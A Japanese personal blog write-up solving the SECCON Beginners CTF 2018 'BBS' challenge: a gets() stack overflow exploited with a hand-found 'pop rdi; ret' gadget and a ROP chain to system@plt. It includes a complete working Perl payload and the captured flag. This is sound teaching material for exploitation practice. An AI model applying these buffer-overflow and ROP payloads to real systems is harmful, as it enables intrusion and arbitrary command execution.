chroot("/home/hibari")

備忘録とかに使えそうなノート

SECCON BeginnersCTF 2018 "BBS" を頭悪く解いた Write-up

SECCON BeginnersCTF 2018,お疲れ様でした.

遅刻したお一人様チームでの参加でしたが,100位台に乗れたのと,このBBSが解けたので個人的に満足してしまってます.

 

どう頭が悪いかというのは,「世の中には便利ツールやライブラリがあるのに全然活用していない(出来ていない)」あたりです.

今回の場合,終わってからrp++とかgdb-pedaを使えばいいものを,それらの名前や導入方法が全く思い出せなかったのでええいそのままやってまえーとやってしまいました.

先人のっょぃ方々がすでに上げておられますWrite-upとは方針こそ同じですが,微妙に違うやり方になってると思います.

(あとは自分のためにも思考プロセスも書いていこうと)

前半は基本中の基本しか述べてなかったので,新鮮そうなところから読みたい方はここまで飛ばしてください

 

基本動作は"Input Content:"の後に適当に入力すると,日付の後にその入力が出てくる.

 

$ ./bbs
Input Content : hoge

==============================

Sun May 27 08:33:31 UTC 2018
hoge

==============================

 

アセンブルの出力を見るとsystem@pltがあるので,ここにコマンドが入れられればいいなあとなります

 

   0x00000000004006c4 <+35>: call   0x400570 <gets@plt>

   0x00000000004006c9 <+40>: mov    edi,0x4007a0

   0x00000000004006ce <+45>: call   0x400520 <puts@plt>

   0x00000000004006d3 <+50>: mov    edi,0x4007c1

   0x00000000004006d8 <+55>: call   0x400540 <system@plt>

   0x00000000004006dd <+60>: lea    rax,[rbp-0x80]

   0x00000000004006e1 <+64>: mov    rsi,rax

   0x00000000004006e4 <+67>: mov    edi,0x4007c8

   0x00000000004006e9 <+72>: mov    eax,0x0

   0x00000000004006ee <+77>: call   0x400550 <printf@plt>

 

"lea rax,[rbp-0x80]"が直前にあり,かつgetsがあるのでそれでBOFさせたらSegmentation faultで落ちてくれるだろうと.

main関数の中で自作の関数のcallがないので,main関数のretの時に落ちてくれるだろうと.適当にながーい文字列入れたら案の定落ちてくれました.

 

ここでの思考は「BOFでsystem@pltに導いてあげればよさそう」です.

それだけの頭で何も考えずに,スタックに"/bin/sh"と,そのアドレスを用意して引数を積んでsystem@pltにretさせようと必死になってました.

 

当たり前の話ですが,動作するわけないです.

引数はスタックに積むのではなく,レジスタに格納する(第一引数はediレジスタ)スタイルです.

pwnの経験がほとんどない自分は一旦ここで詰みました.無理じゃないか!!!と

 

何も出来ないまま思考することしばらくして,「もしかして,これが俗に言うROPなのでは...?」となりました.

現時点で欲しいのは「任意のアドレスをediレジスタに入れる」ことだけ(と思っていた)ということもあって,これくらいなら自分でも出来そうと,頑張ってみました.

 

 

 

さて,ここからがおそらく他の方と違うやり方であり,頭の悪いやり方の山場になります.

 

 

次につなげるための脱線話

 

生のバイナリの逆アセンブルの規則の一つとして,レジスタの割り当ての順番は

rax → rcx → rdx → rbx → rsp → rbp → rsi → rdi

の順番で命令のレジスタ指定がなされます.

どういうことかというと,例えば「pop %rax」は生のバイナリでは0x58です.これをベースと考えると,

pop %rax : 0x58

pop %rcx : 0x59

pop %rdx : 0x5a

pop %rbx : 0x5b

とベース命令が分かればあとはオフセットと足していくと,生のバイナリから逆アセンブル結果を推定できることがあります.

 

今回はrdiレジスタはオフセットが7なので,「pop %rdi」は,0x58 + 7 = 0x5fと考えることができます.

 

この考え方は,地味に2オペランドの場合でも似たような規則が適用できることがあります.

オペランドを要する命令の逆アセンブルするときの形式は,

 (prefix) [operation] [register] (immediate)

という理解をしています.()は該当する時に追加されます.

(prefix)はr8 ~ r15レジスタが絡んでいたり,一部の64-bit演算に41や48など主に4で始まる数字が先頭にくっついています.

この[register]の部分も先ほどと同様のルールが使えます.

registerのベースとなるのは,「%rax, %rax」で"0xc0"です.

c0 : %rax, %rax

c1 : %rax, %rcx

c2 : %rax, %rdx

c3 : %rax, %rbx

...

c7 : %rax, %rdi

c8 : %rcx, %rax

c9 : %rcx, %rcx

...

cf : %rcx, %rdi

d0 : %rdx, %rax

...

ff : %rdi, %rdi

ある種の整数の繰り上がりのようにレジスタの組み合わせと,そのオフセットが上がって行きます.

例えば,"48 31 c9"というバイナリが出て来た時,

48 ... prefix

31 ... operation

c9 ... register

と分解して考えることができます.(一概には言えないかもしれませんが...)

経験則ですが48は,r-prefixのレジスタを用いた算術演算などでよく出てきます.31はXOR命令です(これは覚えるもの(?)).

次にc9ですが,上の一部の対応表から「%rcx, %rcx」に対応するので,この3byteは「XOR %rcx, %rcx」と翻訳できます.

 

 

脱線話終わり

 

 

話を戻すと,ROPを構築するためにほしいものは「pop %rdi;  ret」です.上の脱線話から,脳内でバイナリに置き換えると「5f c3」になります.なのでこれが問題バイナリに存在していないかの探索をします.

 

$ hexdump -C bbs | grep "5f c3"
00000760 41 5e 41 5f c3 90 66 2e 0f 1f 84 00 00 00 00 00 |A^A_..f.........|

 

オフセット0x763に「pop %rdi;  ret」がありました.

なので,mainから0x400763にretすれば任意の値をrdiレジスタに格納すること出来そうです.

 

あとは,実行させるコマンドの文字列が欲しい.gets@pltがあるのでこれを活用しよう.書き込みに必要なバッファは.data領域が使えそうなのでアドレスを特定したところ,0x601048でした.

 

$ readelf -S bbs | grep .data
[16] .rodata PROGBITS 0000000000400780 00000780
[25] .data PROGBITS 0000000000601048 00001048

 

最終的な方針としては,

main → 0x400763 → gets@plt → 0x400763 → system@plt

と遷移できるようにROPをすれば良さそうです.

 

ここでも頭の悪さというかなんというか,pythonが扱えないのでperlで地道に書いていました.

$offset = "A"x0x78;

$tmp = "\x00\x00\x00\x00\x00\x00\x00\x00";

$buf_addr = "\x48\x10\x60\x00\x00\x00\x00\x00";

$system = "\x40\x05\x40\x00\x00\x00\x00\x00";

$gets = "\x70\x05\x40\x00\x00\x00\x00\x00";

$rop = "\x63\x07\x40\x00\x00\x00\x00\x00";

print $offset.$tmp.$buf_addr.$rop.$buf_addr.$gets.$rop.$buf_addr.$system;

print "\n";

print 'cat flag.txt'; 

 

$ ./solve.sh
Input Content :
==============================

Sun May 27 18:55:38 JST 2018
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAA

==============================
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}